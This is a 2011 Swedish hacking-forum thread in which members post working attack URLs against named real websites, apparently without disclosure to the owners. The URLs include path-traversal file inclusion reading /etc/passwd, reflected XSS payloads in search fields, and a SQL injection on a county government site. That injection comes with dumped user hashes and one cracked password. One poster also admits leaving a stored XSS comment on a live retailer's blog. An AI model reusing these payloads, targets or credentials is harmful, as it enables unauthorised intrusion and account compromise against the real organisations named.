Samling av sidor med säkerhetsbrister - Del 2

2011-04-08, 15:46 #**2581**

Medlem

Reg: Jan 2006

Inlägg: 1 825

Måste ta lite hjälp av er med lite mer erfarenhet inom SQL-injektioner.

Har svårt att avgöra om den är vuln för sql-injektioner eller inte. Kanske någon kan bringa lite klarhet i det?

Citera

2011-04-08, 17:12 #**2582**

Medlem

Reg: Jan 2008

Inlägg: 6 033

Citat:

Ursprungligen postat av LiLWiz

Måste ta lite hjälp av er med lite mer erfarenhet inom SQL-injektioner.

Har svårt att avgöra om den är vuln för sql-injektioner eller inte. Kanske någon kan bringa lite klarhet i det?

Nej den är inte sårbar för SQL injections.

Citera

2011-04-08, 17:19 #**2583**

Medlem

Reg: Aug 2002

Inlägg: 603

Citat:

Ursprungligen postat av LiLWiz

Måste ta lite hjälp av er med lite mer erfarenhet inom SQL-injektioner.

Har svårt att avgöra om den är vuln för sql-injektioner eller inte. Kanske någon kan bringa lite klarhet i det?

den är sårbar mot xss i sökfältet..

Citera

2011-04-08, 17:34 #**2584**

Medlem

Reg: Sep 2007

Inlägg: 181

@ LiLWiz
LFI mha. require.
Ex.

Kod:

http://www.random-sitedirect-v5-site.com/1.0.1.0/0/show_surface.php?page=../../../../../&region=../../../../../../etc/passwd%00&site=../../&print=1&theme=1

Citera

2011-04-08, 17:41 #**2585**

Medlem

Reg: Jan 2008

Inlägg: 308

Citat:

Ursprungligen postat av svettiglana

ttp://www.spotifylistan.nu/playlistinfo.php?id=83

saltade? Jag får inte rätt på några lösen. Det är väl md5?

Citera

2011-04-08, 17:47 #**2586**

Medlem

Reg: Sep 2007

Inlägg: 181

Måste bara dumpa den här:
http://support.sitedirect.se/1.0.2.0/0/show_surface.php?page=../../../../../&region=../../../../../../etc/passwd%00&site=../../&print=1&theme=1

Snacka om klockren...

Citera

2011-04-08, 18:17 #**2587**

Medlem

Reg: Okt 2010

Inlägg: 645

Citat:

Ursprungligen postat av Pelle-pirat

Kod:

https://mm.mobilemail.secureserver.net/login.php?domain="><script>alert("XSS")</script>

lol...."secureserver"....så ironiskt

Tips på sidor där man kan lära sig mer om XSS:
http://securityoverride.com/articles.php?article_id=13&article=The_Complete_Gu ide_to_XSS
http://ha.ckers.org/xss.html
http://zerozaku.com/viewtopic.php?f=34&t=1323

__________________
Senast redigerad av tmxseven 2011-04-08 kl. 18:29.

Citera

2011-04-08, 20:56 #**2588**

Medlem

Reg: Aug 2002

Inlägg: 603

http://www.pandurohobby.se xss i sökfältet. jag blev medlem på sidan för att kolla runt... dom har en "blogg avdelning", där kan man kommentera bloggarens inlägg, också sårbar mot xss. jag var ju tvungen att testa så jag la till en bild, trodde man kunde ta bort sina egna kommentarer efteråt men det gick ju fan inte så den ligger kvar

... så dom kommer nog fixa hålet ganska fort.

xss

Kod:

http://www.infoom.se/mitt-ip/?tag=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
http://www.vallonbruken.nu/visa_evenemang2.asp?Kategori=Alla&Avdelning=040&Sidrubrik=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
http://www.cosmetiqann.se/search.php?name_type=like&submit=true&name=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&submit=%A0

__________________
Senast redigerad av vicious 2011-04-08 kl. 21:55. Anledning: länk

Citera

2011-04-09, 01:43 #**2589**

Medlem

Reg: Okt 2008

Inlägg: 145

Citat:

Ursprungligen postat av tmxseven

lol...."secureserver"....så ironiskt

Tips på sidor där man kan lära sig mer om XSS:
http://securityoverride.com/articles.php?article_id=13&article=The_Complete_Gu ide_to_XSS
http://ha.ckers.org/xss.html
http://zerozaku.com/viewtopic.php?f=34&t=1323

Haha ja fick mig ett gott skratt när jag upptäckte detta.

Citera

2011-04-09, 15:36 #**2590**

Medlem

Reg: Jan 2006

Inlägg: 1 825

Appropå hobbys och Panduro

Citera

2011-04-09, 17:42 #**2591**

Medlem

Reg: Dec 2009

Inlägg: 86

Kod:

http://imperial.ca.gov/dept.php?id=28%27

ricardo: *23A07ABC61CC2DFC7E3B0B5DB3571848DF57C9C3
ricardohdz: *23A07ABC61CC2DFC7E3B0B5DB3571848DF57C9C3

Wazzup med hashen?

Citera

2011-04-09, 17:58 #**2592**

Medlem

Reg: Jun 2010

Inlägg: 1 176

Citat:

Ursprungligen postat av j3r01

Kod:

http://imperial.ca.gov/dept.php?id=28%27

ricardo: *23A07ABC61CC2DFC7E3B0B5DB3571848DF57C9C3
ricardohdz: *23A07ABC61CC2DFC7E3B0B5DB3571848DF57C9C3

Wazzup med hashen?

23a07abc61cc2dfc7e3b0b5db3571848df57c9c3:mexicali

mysql

Citera

Samling av sidor med säkerhetsbrister - Del 2

Skapa ett konto eller logga in för att kommentera

Skapa ett konto

Logga in